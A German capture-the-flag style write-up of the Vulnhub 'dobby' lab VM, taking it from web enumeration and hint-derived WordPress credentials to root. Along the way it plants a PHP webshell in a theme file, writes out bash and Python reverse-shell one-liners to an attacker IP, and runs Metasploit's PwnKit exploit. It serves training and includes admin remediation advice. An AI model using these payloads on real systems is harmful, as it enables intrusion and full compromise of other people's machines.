dobby - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
nmap
nikto
gobuster
Base64 Decoder
Webbrowser (Manual Analysis)
Brainfuck Decoder (dcode.fr)
wpscan
dirb
Google Search
WordPress (Admin Interface)
nc (netcat)
head
cd
ls
cat
tail
find
python3
Metasploit Framework
msfconsole
multi/handler
shell_to_meterpreter
cve_2021_4034_pwnkit
getuid

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# [arp-scan -l]
192.168.2.191	08:00:27:9e:83:20	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu identifizieren.

Bewertung: Ein Host mit der IP `192.168.2.191` wird gefunden. Die MAC-Adresse (`08:00:27:9e:83:20`, PCS Systemtechnik GmbH) ist ein typischer Indikator für eine VirtualBox-VM.

Empfehlung (Pentester): Verwende `192.168.2.191` als Ziel-IP für weitere Scans.
Empfehlung (Admin): Standard Netzwerkerkennung.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.191	dobby.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `dobby.vln` der IP `192.168.2.191` zuzuweisen.

Bewertung: Erleichtert das Ansprechen des Ziels über einen Hostnamen, was für Web-Interaktionen nützlich ist.

Empfehlung (Pentester): Verwende `dobby.vln` in nachfolgenden Befehlen.
Empfehlung (Admin): Clientseitige Konfiguration.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.191 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-12 17:23 CEST
Nmap scan report for dobby.vln (192.168.2.191)
Host is up (0.00016s latency).
Not shown: 65534 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))
|_http-title: Draco:dG9vIGVhc3kgbm8/IFBvdHRlcg==
|_http-server-header: Apache/2.4.46 (Ubuntu)
MAC Address: 08:00:27:9E:83:20 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.16 ms dobby.vln (192.168.2.191)
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird durchgeführt.

Bewertung: * **Nur Port 80 (HTTP):** Es ist nur der Webserver-Port offen. Apache 2.4.46 (Ubuntu) läuft darauf. * **Seitentitel:** Enthält einen Benutzernamen und einen Base64-kodierten String: `Draco:dG9vIGVhc3kgbm8/IFBvdHRlcg==`. * **Kein SSH:** Anders als in vielen vorherigen Berichten ist Port 22 (SSH) nicht offen.

Empfehlung (Pentester):** Dekodiere den Base64-String aus dem Seitentitel. Untersuche den Webserver auf Port 80 intensiv, da dies der einzige Einstiegspunkt zu sein scheint.
Empfehlung (Admin):** Apache aktuell halten. Keine sensiblen Informationen oder kodierten Strings im Seitentitel hinterlassen. Überprüfe, ob SSH wirklich nicht benötigt wird oder auf einem anderen Port/einer anderen IP lauscht.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.191 -p- | grep open
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))
                    

Analyse: Gefilterter Nmap-Scan zur Bestätigung.

Bewertung: Bestätigt nur Port 80 (HTTP).

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.191
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.46 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.46 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...].
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /phpinfo.php: Output from the phpinfo() function was found. <-- Wichtig!
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. [...]
[...]
+ 1 host(s) tested
                     

Analyse: Nikto wird gegen Port 80 ausgeführt.

Bewertung:** Nikto bestätigt den veralteten Apache und fehlende Header. **Wichtiger Fund:** Es existiert eine `phpinfo.php`-Datei. Diese Datei gibt detaillierte Informationen über die PHP-Konfiguration, geladene Module, Umgebungsvariablen und potenziell sensible Pfade preis.

Empfehlung (Pentester):** Rufe `http://dobby.vln/phpinfo.php` auf und analysiere die Ausgabe sorgfältig auf interessante Konfigurationen (z.B. `allow_url_include`, `disable_functions`), Modulversionen mit bekannten Schwachstellen oder Pfadinformationen.
Empfehlung (Admin):** Entferne `phpinfo.php`-Dateien von Produktionsservern. Konfiguriere PHP sicher (z.B. `expose_php = Off`).

Web Enumeration & Credential Discovery

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://dobby.vln -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
[...]
http://dobby.vln/DiagonAlley/index.php            (Status: 301) [Size: 0] [--> http://dobby.vln/DiagonAlley/]
http://dobby.vln/DiagonAlley/wp-content           (Status: 301) [Size: 323] [--> http://dobby.vln/DiagonAlley/wp-content/]
http://dobby.vln/DiagonAlley/wp-login.php         (Status: 200) [Size: 7993]
http://dobby.vln/DiagonAlley/license.txt          (Status: 200) [Size: 19915]
http://dobby.vln/DiagonAlley/wp-includes          (Status: 301) [Size: 324] [--> http://dobby.vln/DiagonAlley/wp-includes/]
http://dobby.vln/DiagonAlley/readme.html          (Status: 200) [Size: 7278]
http://dobby.vln/DiagonAlley/wp-trackback.php     (Status: 200) [Size: 136]
http://dobby.vln/DiagonAlley/wp-admin             (Status: 301) [Size: 321] [--> http://dobby.vln/DiagonAlley/wp-admin/]
http://dobby.vln/index.html           (Status: 200) [Size: 10977]
http://dobby.vln/log                  (Status: 200) [Size: 45] <-- Wichtig!
[...]
                    

Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden.

Bewertung:** Die Ergebnisse sind sehr aufschlussreich: * **/DiagonAlley/:** Eine WordPress-Installation wird im Unterverzeichnis `/DiagonAlley/` gefunden (viele `wp-` Dateien/Pfade). * **/log:** Eine Datei oder ein Verzeichnis namens `log` wird im Wurzelverzeichnis gefunden.

Empfehlung (Pentester):** Untersuche `/log`. Konzentriere dich auf die WordPress-Installation unter `/DiagonAlley/` (führe `wpscan` aus, prüfe Login etc.).
Empfehlung (Admin):** Verstecke oder entferne WordPress-Installationen in Unterverzeichnissen, wenn sie nicht öffentlich sein sollen. Entferne unnötige Dateien wie `/log`.

Analyse:** Untersuchung der gefundenen `/log`-Datei und anderer Hinweise.

[Analyse von http://dobby.vln/log] └─# curl http://dobby.vln/log
pass:jppbGlrZXNvY2tz
[Dekodierung des Base64-Strings] └─# echo "jppbGlrZXNvY2tz" | base64 -d
iliketoclimb
[Analyse des Titels von Nmap] └─#
Draco:dG9vIGVhc3kgbm8/IFBvdHRlcg==
[Dekodierung des Base64-Strings] └─# echo "dG9vIGVhc3kgbm8/IFBvdHRlcg==" | base64 -d
too easy no? Potter
[Analyse von http://dobby.vln/index.html Quelltext] └─#
[Analyse von http://dobby.vln/alohomora/index.html] └─# curl http://dobby.vln/alohomora/index.html
Draco's password is his house ;)

Analyse: * Die `/log`-Datei enthält einen Base64-kodierten String nach "pass:", der zu `iliketoclimb` dekodiert wird. Dies könnte ein Passwort sein. * Der Base64-String aus dem HTML-Titel (von Nmap gefunden) wird dekodiert und ergibt eine Nachricht im Harry-Potter-Kontext. * Im Quelltext der Startseite wird ein Kommentar gefunden, der auf `/alohomora` verweist. * Der Aufruf von `/alohomora/index.html` (Verzeichnis `/alohomora` muss existieren und Directory Indexing aktiv sein oder index.html die Standarddatei sein) liefert den Hinweis: "Draco's password is his house ;)".

Bewertung: Mehrere Hinweise wurden gefunden: * Potenzielles Passwort: `iliketoclimb`. * Potenzieller Benutzer (aus Nmap-Titel): `Draco`. * Passworthinweis für `Draco`: Sein Haus in Hogwarts. Diese Informationen müssen nun kombiniert und überprüft werden.

Empfehlung (Pentester):** Recherchiere Dracos Haus in Harry Potter (Slytherin). Versuche WordPress-Login für `Draco` mit `slytherin` und `iliketoclimb`. Führe `wpscan` aus, um den Benutzernamen `Draco` zu bestätigen.
Empfehlung (Admin):** Speichere keine Passwörter oder Hinweise (auch nicht kodiert) in öffentlich zugänglichen Dateien/Verzeichnissen oder HTML-Kommentaren.

[Analyse von http://dobby.vln/DiagonAlley/ - WP-Seite] └─#
[...]
dobby por DracoPublicada el7 de noviembre de 2020
[...]
+++++ +++++ [->++ +++++ +++<] >.<++ +[->+ ++<]> ++.<+ ++[-> —<] >—-
..<++ ++[-> ++++< ]>+++ ++++. <++++ [->– –<]> .<+++ [->++ +<]>+ .<+++ +[->- —<] >–.< ++++[ ->+++ +<]>+ +++.- -.<++ +[->- –<]> —– .<+++ [->++ +<]>+ +++.<
[...]
                     
[Externe Dekodierung des Brainfuck-Codes] └─# dcode.fr / Brainfuck Decoder
donn…… ‹Ÿ š§  <-- Ergibt keinen sinnvollen Text

Analyse: Auf der WordPress-Seite (`/DiagonAlley/`) wird ein Beitrag vom Autor "Draco" gefunden, der Brainfuck-Code enthält. Der Versuch, diesen zu dekodieren, scheitert bzw. ergibt keinen sinnvollen Text.

Bewertung: Der Brainfuck-Code scheint eine falsche Fährte oder ein ungelöstes Rätsel zu sein. Der Benutzername `Draco` wird jedoch bestätigt.

Empfehlung (Pentester):** Ignoriere den Brainfuck-Code vorerst. Konzentriere dich auf den Login mit `Draco` und dem Passwort `slytherin`.
Empfehlung (Admin):** Keine Aktion.

┌──(root㉿cycat)-[~] └─# wpscan --url http://dobby.vln/DiagonAlley/ [...] -e u
[...]
[i] User(s) Identified:

[+] draco
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
[...]
[+] Draco
 | Found By: Rss Generator (Passive Detection)
[...]
                     

Analyse: `wpscan` wird zur Benutzerenumeration gegen `/DiagonAlley/` ausgeführt.

Bewertung:** Bestätigt den Benutzernamen `draco` (und eine Variante `Draco`).

Empfehlung (Pentester):** Login-Versuch mit `draco:slytherin`.
Empfehlung (Admin):** Benutzerenumeration erschweren.

[Manuelle Recherche: Draco's House] └─# Google Search
[...] Draco Lucius Malfoy is [...] student [...] belonging in the Slytherin house [...]
House: Slytherin
                     

Analyse: Eine Google-Suche bestätigt, dass Draco Malfoys Haus in Harry Potter "Slytherin" ist.

Bewertung: Kombiniert mit dem Hinweis aus `/alohomora`, ist `slytherin` das wahrscheinlichste Passwort für den Benutzer `draco`.

Empfehlung (Pentester):** WordPress-Login mit `draco:slytherin` versuchen.
Empfehlung (Admin):** Verwende keine leicht zu erratenden oder themenbasierten Passwörter.

Initial Access (WordPress RCE)

[Login-Versuch auf http://dobby.vln/DiagonAlley/wp-login.php] └─#
Username: draco
Password: slytherin

[Login erfolgreich - Weiterleitung zum WordPress Admin Dashboard]
                    

Analyse: Login-Versuch am WordPress-Admin mit den ermittelten Credentials `draco:slytherin`.

Bewertung: **Login erfolgreich!** Zugriff auf das WordPress-Dashboard als `draco` wurde erlangt.

Empfehlung (Pentester):** Suche nach RCE-Möglichkeiten (Theme-/Plugin-Editor, Uploads).
Empfehlung (Admin):** Starke Passwörter verwenden.

[Navigation im WP-Admin zu Appearance -> Theme Editor -> 404 Template (404.php)] └─# [Bearbeiten der 404.php Datei]


[...]
                    
[Speichern der Datei - impliziert erfolgreich] └─#

Analyse: Der Theme-Editor wird verwendet, um die `404.php` des aktiven Themes (Twenty Nineteen) zu bearbeiten. Der Code `system($_GET['cmd']);` wird eingefügt, um eine RCE-Backdoor zu schaffen.

Bewertung:** **RCE vorbereitet!** Der Benutzer `draco` hat die Berechtigung, Theme-Dateien zu bearbeiten, was zur Codeausführung führt.

Empfehlung (Pentester):** Rufe die modifizierte `404.php` mit einem Befehl im `cmd`-Parameter auf, um RCE zu bestätigen und eine Reverse Shell zu starten.
Empfehlung (Admin):** Theme-Editor deaktivieren (`DISALLOW_FILE_EDIT`), minimale Benutzerrechte.

[Aufruf der modifizierten 404.php via curl/Browser] └─# curl http://dobby.vln/DiagonAlley/wp-content/themes/twentynineteen/404.php?cmd=ls
404.php
archive.php
[...]
style.scss
template-parts
                    

Analyse: Die Backdoor in `404.php` wird getestet, indem der `ls`-Befehl ausgeführt wird.

Bewertung:** **RCE bestätigt!** Der Server führt den Befehl aus und listet die Dateien im Theme-Verzeichnis auf. Die Shell läuft als Webserver-Benutzer (vermutlich `www-data`).

Empfehlung (Pentester):** Reverse Shell starten.
Empfehlung (Admin):** Theme-Editor deaktivieren.

┌──(root㉿cycat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
[Aufruf der Backdoor mit Reverse Shell Payload via curl/Browser] └─# curl "http://dobby.vln/DiagonAlley/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.105%2F5555%200%3E%261%27"
[Keine relevante Ausgabe von curl]
┌──(root㉿cycat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.105] from (UNKNOWN) [192.168.2.191] 36046
bash: cannot set terminal process group (703): Inappropriate ioctl for device
bash: no job control in this shell
www-data@HogWarts:/var/www/html/DiagonAlley/wp-content/themes/twentynineteen$
                    

Analyse: Ein Netcat-Listener wird gestartet. Die 404-Backdoor wird mit einem Bash-Reverse-Shell-Payload aufgerufen.

Bewertung:** **Initial Access als `www-data` erfolgreich!** Die Reverse Shell verbindet sich zurück zum Angreifer. Die Shell läuft als `www-data` auf dem Host `HogWarts`.

Empfehlung (Pentester):** Stabilisiere die Shell, beginne Post-Exploitation.
Empfehlung (Admin):** Theme-Editor deaktivieren, Webserver-Benutzerrechte einschränken.

Proof of Concept: Initial Access

Ziel des POC: Demonstrieren, wie durch Ausnutzung von Hinweisen auf der Webseite und im Quelltext WordPress-Zugangsdaten (`draco:slytherin`) ermittelt, eine RCE-Backdoor über den Theme-Editor platziert und eine Reverse Shell als `www-data` erlangt wird.

Voraussetzungen: Webserver auf Port 80, WordPress unter `/DiagonAlley`, Admin-Zugang, Theme-Editor-Berechtigung, Tools (`curl`, `nc`, Webbrowser).

Schritte: Hinweise finden (`/alohomora`, Google Search) -> WP-Login (`draco:slytherin`) -> 404.php bearbeiten (RCE-Code einfügen) -> Listener starten -> Reverse Shell via URL-Aufruf auslösen.

[WP Admin] -> Bearbeite 404.php ->
┌──(root㉿cycat)-[~] └─# nc -lvnp 5555
┌──(root㉿cycat)-[~] └─# curl "http://dobby.vln/DiagonAlley/[...]/404.php?cmd=[Reverse Shell Payload]"
[Netcat Listener] └─# nc -lvnp 5555
[...] Connection received [...]
www-data@HogWarts:/...$

Ergebnis & Bewertung: **Initialer Zugriff als `www-data` erfolgreich!** WordPress-Fehlkonfigurationen und Admin-Zugang ermöglichten die Shell.

Empfehlung (Pentester): Post-Exploitation.
Empfehlung (Admin):** WordPress härten (Credentials, Theme-Editor).

Post-Exploitation (www-data)

Analyse:** Enumeration als `www-data`.

www-data@HogWarts:/var/www/html/DiagonAlley$ head -n 30 wp-config.php
[...]
define( 'DB_NAME', 'WordPressDB' );
define( 'DB_USER', 'Draco' );
define( 'DB_PASSWORD', 'slytherin' );
[...]
                    

Analyse: Die `wp-config.php` wird ausgelesen.

Bewertung: Enthält die Datenbank-Credentials: Benutzer `Draco` mit Passwort `slytherin`. Diese sind identisch mit den WordPress-Admin-Credentials.

Empfehlung (Pentester):** Keine neuen Credentials. Untersuche Home-Verzeichnisse und SUID-Dateien.
Empfehlung (Admin):** Verwende separate, starke Passwörter für Datenbankbenutzer.

www-data@HogWarts:/var/www/html/DiagonAlley$ cd /home/dobby/
www-data@HogWarts:/home/dobby$ ls -la
total 92
drwxr-xr-x 16 dobby dobby 4096 Nov  7  2020 .
drwxr-xr-x  3 root  root  4096 Nov  7  2020 ..
[...]
-rw-rw-r--  1 dobby dobby  106 Nov  7  2020 flag1.txt
-r--r--r--  1 root  root   755 Nov  7  2020 sudoers <-- Interessant! Lesbar für www-data?
[...]
                    
www-data@HogWarts:/home/dobby$ cat flag1.txt
Command 'cat' not found, but can be installed with:
apt install coreutils
Please ask your administrator.
                     
www-data@HogWarts:/home/dobby$ tail flag1.txt
"Harry potter this year should not go to the school of wizardry"

flag1{28327a4964cb391d74111a185a5047ad}
                     

Analyse: Das Home-Verzeichnis `/home/dobby` wird untersucht. Es enthält `flag1.txt` und eine Datei namens `sudoers`. Der `cat`-Befehl ist nicht im Pfad des `www-data`-Benutzers, aber `tail` funktioniert, um `flag1.txt` zu lesen.

Bewertung: **User-Flag gefunden!** `flag1{28327a4964cb391d74111a185a5047ad}`. Der Fund einer `sudoers`-Datei im Home-Verzeichnis ist extrem ungewöhnlich und deutet auf eine Fehlkonfiguration oder einen Hinweis hin. Der fehlende `cat`-Befehl ist eine kleine Hürde, die mit `tail` umgangen wird.

Empfehlung (Pentester):** Notiere die User-Flag. Untersuche die lokale `sudoers`-Datei auf Unterschiede zur Systemdatei (`/etc/sudoers`). Suche nach SUID-Binaries.
Empfehlung (Admin):** Speichere Konfigurationsdateien wie `sudoers` nicht in Home-Verzeichnissen. Stelle sicher, dass Standardbefehle wie `cat` im Pfad des Webservers verfügbar sind (oder beschränke die Shell bewusst).

www-data@HogWarts:/home/dobby$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
   1167    227 -rwsr-xr-x   1 root     root       232416 Apr  3 20:00 /snap/core22/817/usr/bin/sudo
[...]
   1977    146 -rwsr-xr-x   1 root     root              149080 Apr  4 14:44 /snap/core18/2785/usr/bin/sudo
[...]
   1927    146 -rwsr-xr-x   1 root     root              149080 Jan 31  2020 /snap/core18/1932/usr/bin/sudo
[...]
   666881     24 -rwsr-xr-x   1 root     root               22840 Aug  3  2020 /usr/libexec/polkit-agent-helper-1 <-- Teil von Polkit
[...]
   655235    180 -rwsr-xr-x   1 root     root              182472 Jul  8  2020 /usr/bin/sudo
[...]
   655013     32 -rwsr-xr-x   1 root     root               31032 Aug  3  2020 /usr/bin/pkexec <-- PwnKit-Ziel!
[...]
                     

Analyse: Suche nach SUID-Binaries als `www-data`.

Bewertung: Findet diverse `sudo`-Instanzen (hauptsächlich in Snap-Paketen) und `/usr/bin/pkexec`. `pkexec` ist das Ziel für den PwnKit-Exploit (CVE-2021-4034).

Empfehlung (Pentester):** Versuche PwnKit. Prüfe `sudo -l` für `www-data` (obwohl die lokale `sudoers`-Datei verdächtiger ist).
Empfehlung (Admin):** Polkit patchen, SUID-Berechtigungen prüfen.

Privilege Escalation (PwnKit)

Analyse:** Der Bericht nutzt Metasploit zur Ausnutzung von PwnKit.

www-data@HogWarts:/...$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.105",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
msf6 > use multi/handler; set LHOST eth0; set LPORT 4444; run
[*] Command shell session 1 opened [...]
msf6 > use multi/manage/shell_to_meterpreter; set SESSION 1; set LPORT 4433; run
[*] Meterpreter session 2 opened [...]
msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(...) > set session 2
msf6 exploit(...) > run
[*] Started reverse TCP handler on 192.168.2.105:4444
[*] Running automatic check [...]
[+] The target is vulnerable.
[*] Writing [...]
[*] Sending stage [...]
[+] Deleted [...]
[*] Meterpreter session 3 opened (192.168.2.105:4444 -> 192.168.2.191:33594) [...]
                     

Analyse: Eine Python-basierte Reverse Shell wird von der `www-data`-Shell zu Metasploit (Port 4444) aufgebaut. Diese wird zu Meterpreter (Session 2, Port 4433) aufgewertet. Anschließend wird der PwnKit-Exploit (CVE-2021-4034) gegen Session 2 ausgeführt.

Bewertung:** **PwnKit erfolgreich!** Der Exploit funktioniert und liefert eine neue Meterpreter-Session (Session 3) mit Root-Rechten.

Empfehlung (Pentester):** Wechsle zu Session 3 und bestätige Root-Rechte.
Empfehlung (Admin):** Polkit patchen!

meterpreter > getuid
Server username: root
meterpreter > shell
Process [...] created.
Channel [...] created.
# cd /root
# ls
proof.txt snap
# cat proof.txt
Command 'cat' not found,
# tail proof.txt
                                       \|       THE          `.\
                                            _  _  _  _  __ _  __ _ /_
                                           (_`/ \|_)/ '|_ |_)|_ |_)(_
                                           ._)\_/| \\_,|__| \|__| \ _)
                                                           _ ___ _      _
                                                          (_` | / \|\ ||__
                                                          ._) | \_/| \||___


root{63a9f0ea7bb98050796b649e85481845!!}
                      

Analyse: Die Root-Rechte werden in Meterpreter bestätigt (`getuid`). Eine Shell wird geöffnet. Im `/root`-Verzeichnis wird `proof.txt` gefunden. Da `cat` immer noch fehlt, wird `tail` verwendet, um den Inhalt anzuzeigen.

Bewertung:** **Root-Flag gefunden!** Die Datei `proof.txt` enthält ASCII-Art und die Flag `root{63a9f0ea7bb98050796b649e85481845!!}`.

Empfehlung (Pentester):** Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion für diesen Schritt, Fokus auf Verhinderung der PE.

Proof of Concept: Privilege Escalation

Ziel des POC: Demonstrieren, wie nach Erlangung einer initialen Shell (als `www-data`) durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit vollständige Root-Rechte erlangt werden können.

Voraussetzungen: Shell als `www-data`, anfälliges Polkit (`pkexec`), Metasploit, Netzwerkverbindung.

Schritte: Reverse Shell zu Metasploit -> Upgrade zu Meterpreter -> PwnKit-Exploit ausführen -> Root-Shell erhalten.

msf6 exploit(...) > run
[...] [+] The target is vulnerable. [...] [*] Meterpreter session 3 opened [...]
meterpreter > getuid
Server username: root

Ergebnis & Bewertung: **Privilege Escalation via PwnKit erfolgreich!**

Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin): Polkit patchen.

Flags

tail /home/dobby/flag1.txt
flag1{28327a4964cb391d74111a185a5047ad}
tail /root/proof.txt
root{63a9f0ea7bb98050796b649e85481845!!}